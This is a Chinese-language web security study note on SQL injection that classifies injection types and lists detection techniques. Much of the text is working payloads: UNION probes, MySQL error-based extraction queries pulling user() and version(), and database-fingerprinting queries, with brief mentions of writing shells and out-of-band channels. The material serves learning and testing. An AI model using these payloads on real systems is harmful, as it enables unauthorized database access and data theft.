Web安全学习笔记 SQL注入上
阅读原文时间:2022年05月14日阅读:1

Web安全学习笔记 SQL注入上

繁枝插云欣 ——ICML8


  1. SQL注入分类
  2. SQL注入检测

一.注入分类

SQL注入是一种代码注入技术用于攻击数据驱动的应用程序在应用程序中,如果没有做恰当的过滤则可能使得恶意的SQL语句被插入输入字段中执行例如将数据库内容转储给攻击者

根据使用的技巧,SQL注入类型可分为:

1.盲注

布尔盲注:只能从应用返回中推断语句执行后的布尔值时间盲注:应用没有明确的回显只能使用特定的时间函数来判断

2.报错注入

应用会显示全部或者部分的报错信息

3.堆叠注入

有的应用可以加入后一次执行多条语句

4.其他方法

根据获取数据的方式分为3类:

1.inband

利用Web应用来直接获取数据如报错注入这类注入都是通过站点的响应或者错误反馈来提取数据

2.inference

通过Web的一些反映来推断数据如布尔盲注,也就是我们通俗的盲注通过web应用的其他改变来推断数据

3.out of band (OOB)

通过其他传输方式来获得数据比如DNS解析协议和电子邮件

二.注入检测

GET/POST/PUT/DELETE参数X-Forwarded-For文件名

'&nbsp;/&nbsp;"1/11/0and&nbsp;1=1"&nbsp;and&nbsp;"1"="1and&nbsp;1=2or&nbsp;1=1or&nbsp;1='&nbsp;and&nbsp;'1'='1+&nbsp;-&nbsp;^&nbsp;*&nbsp;%&nbsp;/<<&nbsp;>>&nbsp;||&nbsp;|&nbsp;&&nbsp;&&~!@反引号执行

@@version@@servername@@language@@spid

例如

http://www.foo.com/index.asp?id=12+union+select+null,null--

不断增加 null 至不返回

select&nbsp;1/0

select&nbsp;1&nbsp;from&nbsp;(select&nbsp;count(*),concat(version(),floor(rand(0)*2))x&nbsp;from&nbsp;&nbsp;information_schema.tables&nbsp;group&nbsp;by&nbsp;x)a

extractvalue(1,&nbsp;concat(0x5c,(select&nbsp;user())))

updatexml(0x3a,concat(1,(select&nbsp;user())),1)

exp(~(SELECT&nbsp;*&nbsp;from(select&nbsp;user())a))

ST_LatFromGeoHash((select&nbsp;*&nbsp;from(select&nbsp;*&nbsp;from(select&nbsp;user())a)b))

GTID_SUBSET(version(),&nbsp;1)

5.1. 基于geometric的报错注入

GeometryCollection((select&nbsp;*&nbsp;from&nbsp;(select&nbsp;*&nbsp;from(select&nbsp;user())a)b))

polygon((select&nbsp;*&nbsp;from(select&nbsp;*&nbsp;from(select&nbsp;user())a)b))

multipoint((select&nbsp;*&nbsp;from(select&nbsp;*&nbsp;from(select&nbsp;user())a)b))

multilinestring((select&nbsp;*&nbsp;from(select&nbsp;*&nbsp;from(select&nbsp;user())a)b))

LINESTRING((select&nbsp;*&nbsp;from(select&nbsp;*&nbsp;from(select&nbsp;user())a)b))

multipolygon((select&nbsp;*&nbsp;from(select&nbsp;*&nbsp;from(select&nbsp;user())a)b))

其中需要注意的是,基于exp函数的报错注入在MySQL 5.5.49后的版本已经不再生效,具体可以参考这个 commit 95825f

而以上列表中基于geometric的报错注入在这个commit 5caea4中被修复,在5.5.x较后的版本中同样不再生效。

;select&nbsp;1

#--+/*xxx*//*!xxx*//*!50000xxx*/

是否有trunc是否过滤某个字符是否过滤关键字slash和编码

1.判断数据库类型

and&nbsp;exists&nbsp;(select&nbsp;*&nbsp;from&nbsp;msysobjects&nbsp;)&nbsp;>&nbsp;0&nbsp;access数据库

and&nbsp;exists&nbsp;(select&nbsp;*&nbsp;from&nbsp;sysobjects&nbsp;)&nbsp;>&nbsp;0&nbsp;SQLServer数据库

2.判断数据库表

and&nbsp;exsits&nbsp;(select&nbsp;*&nbsp;from&nbsp;admin)

3.版本、主机名、用户名、库名

4.表和字段

  1. 确定字段数

    Order BySelect Into

  2. 表名、列名

文件操作

读敏感文件写shell

带外通道

网络请求